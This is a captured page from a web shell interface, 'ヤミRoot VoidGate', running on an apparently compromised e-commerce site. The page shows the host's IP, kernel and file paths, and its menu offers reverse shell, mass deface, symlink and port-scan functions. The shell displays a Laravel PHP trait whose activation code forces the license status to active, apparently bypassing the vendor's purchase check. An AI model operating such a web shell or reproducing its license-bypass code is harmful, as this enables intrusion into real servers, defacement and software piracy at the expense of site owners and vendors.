ヤミRoot VoidGate
User / IP
:
216.73.217.162
Host / Server
:
15.235.182.215 / pollibazaar.com
System
:
Linux asia.cbnex.com 5.14.0-611.49.2.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Apr 30 09:05:08 EDT 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
pollibazaar
/
public_html
/
app
/
Traits
/
Viewing: ActivationClass.php
<?php namespace App\Traits; use Exception; use Illuminate\Support\Facades\Cache; use Illuminate\Support\Facades\Http; use Illuminate\Support\Str; trait ActivationClass { public function is_local(): bool { return in_array(request()->ip(), ['127.0.0.1', '::1']); } public function getDomain(): string { return str_replace(["http://", "https://", "www."], "", url('/')); } public function getSystemAddonCacheKey(string|null $app = 'default'): string { return str_replace('-', '_', Str::slug('cache_system_addons_for_' . $app . '_' . $this->getDomain())); } public function getAddonsConfig(): array { if (file_exists(base_path('config/system-addons.php'))) { return include(base_path('config/system-addons.php')); } $apps = ['admin_panel', 'vendor_panel', 'user_app', 'vendor_app', 'deliveryman_app', 'theme_lifestyle']; $appConfig = []; foreach ($apps as $app) { $appConfig[$app] = [ "active" => "0", "name" => "", "identifier" => "", "username" => "", "purchase_key" => "", "software_id" => "", "domain" => "", "software_type" => $app == 'admin_panel' ? "product" : 'addon', ]; } return $appConfig; } public function getCacheTimeoutByDays(int $days = 3): int { return 60 * 60 * 24 * $days; } public function getRequestConfig(string|null $username = null, string|null $purchaseKey = null, string|null $softwareId = null, string|null $softwareType = null, string|null $name = null, string|null $identifier = null): array { $errors = []; $activeStatus = base64_encode(1); return [ "active" => base64_decode($activeStatus), "name" => $name, "identifier" => $identifier, "username" => trim($username), "purchase_key" => $purchaseKey, "software_id" => $softwareId ?? SOFTWARE_ID, "domain" => $this->getDomain(), "software_type" => $softwareType, "errors" => $errors, ]; } public function checkActivationCache(string|null $app) { if ($this->is_local() || is_null($app) || env('DEVELOPMENT_ENVIRONMENT', false) || env('APP_MODE') == 'demo') { return true; } $config = $this->getAddonsConfig(); $cacheKey = $this->getSystemAddonCacheKey(app: $app); if (isset($config[$app]) && (!isset($config[$app]['active']) || $config[$app]['active'] == 0)) { Cache::forget($cacheKey); return false; } else { $appConfig = $config[$app]; return Cache::remember($cacheKey, $this->getCacheTimeoutByDays(days: 1), function () use ($app, $appConfig) { $response = $this->getRequestConfig(username: $appConfig['username'], purchaseKey: $appConfig['purchase_key'], softwareId: $appConfig['software_id'], softwareType: $appConfig['software_type'] ?? base64_decode('cHJvZHVjdA==')); $this->updateActivationConfig(app: $app, response: $response); return (bool)$response['active']; }); } } public function updateActivationConfig($app, $response): void { $config = $this->getAddonsConfig(); $config[$app] = $response; $configContents = "<?php return " . var_export($config, true) . ";"; file_put_contents(base_path('config/system-addons.php'), $configContents); } }
Coded With 💗 by
0x6ick